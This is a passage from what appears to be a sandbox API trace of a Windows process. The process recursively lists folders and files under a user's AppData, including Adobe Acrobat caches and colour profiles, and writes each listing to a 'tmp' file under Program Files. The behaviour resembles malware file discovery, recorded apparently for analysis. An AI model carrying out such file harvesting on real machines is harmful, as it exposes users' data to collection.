lpNewFilePointer=0x0) returned 1 [0126.320] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0xa1, lpOverlapped=0x0) returned 1 [0126.320] GetLastError () returned 0xb7 [0126.320] SetLastError (dwErrCode=0xb7) [0126.320] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.320] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="..", cAlternateFileName="")) returned 1 [0126.320] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.320] AreFileApisANSI () returned 1 [0126.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.321] GetFileType (hFile=0x180) returned 0x1 [0126.321] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.321] GetLastError () returned 0xb7 [0126.321] SetLastError (dwErrCode=0xb7) [0126.321] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.321] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0xa6, lpOverlapped=0x0) returned 1 [0126.321] GetLastError () returned 0xb7 [0126.321] SetLastError (dwErrCode=0xb7) [0126.321] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.321] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.321] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.321] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x10000000, dwReserved1=0x867200, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.321] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x867200, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.321] AreFileApisANSI () returned 1 [0126.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.322] GetFileType (hFile=0x184) returned 0x1 [0126.322] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.322] GetLastError () returned 0xb7 [0126.322] SetLastError (dwErrCode=0xb7) [0126.322] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.322] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xac, lpOverlapped=0x0) returned 1 [0126.322] GetLastError () returned 0xb7 [0126.322] SetLastError (dwErrCode=0xb7) [0126.322] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.322] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.322] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.323] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.323] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0126.323] GetLastError () returned 0x12 [0126.323] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1, dwReserved1=0x18bbec, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.323] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0xfb0001fa, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.323] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0xfb0001fa, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.323] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0126.323] GetLastError () returned 0x12 [0126.323] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.323] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0126.323] GetLastError () returned 0x12 [0126.323] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18c2a4, cFileName="Color", cAlternateFileName="")) returned 1 [0126.323] AreFileApisANSI () returned 1 [0126.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.323] GetFileType (hFile=0x17c) returned 0x1 [0126.323] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.324] GetLastError () returned 0xb7 [0126.324] SetLastError (dwErrCode=0xb7) [0126.324] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: lpNewFilePointer=0x0) returned 1 [0126.324] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0x9f, lpOverlapped=0x0) returned 1 [0126.324] GetLastError () returned 0xb7 [0126.324] SetLastError (dwErrCode=0xb7) [0126.324] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.324] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="..", cAlternateFileName="")) returned 1 [0126.324] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.324] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.324] AreFileApisANSI () returned 1 [0126.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.324] GetFileType (hFile=0x180) returned 0x1 [0126.325] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.325] GetLastError () returned 0xb7 [0126.325] SetLastError (dwErrCode=0xb7) [0126.325] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.325] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0xa8, lpOverlapped=0x0) returned 1 [0126.325] GetLastError () returned 0xb7 [0126.325] SetLastError (dwErrCode=0xb7) [0126.325] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.325] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.325] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.325] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x10000000, dwReserved1=0x867200, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.325] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x10000000, dwReserved1=0x867200, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.325] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0126.325] GetLastError () returned 0x12 [0126.326] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834d00, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.326] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0126.326] GetLastError () returned 0x12 [0126.326] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18c2a4, cFileName="color", cAlternateFileName="")) returned 0 [0126.326] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0126.326] GetLastError () returned 0x12 [0126.326] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18c62c, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.326] AreFileApisANSI () returned 1 [0126.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.326] GetFileType (hFile=0x178) returned 0x1 [0126.326] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.326] GetLastError () returned 0xb7 [0126.326] SetLastError (dwErrCode=0xb7) [0126.326] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.326] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0xa4, lpOverlapped=0x0) returned 1 [0126.327] GetLastError () returned 0xb7 [0126.327] SetLastError (dwErrCode=0xb7) [0126.327] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.327] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.327] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, 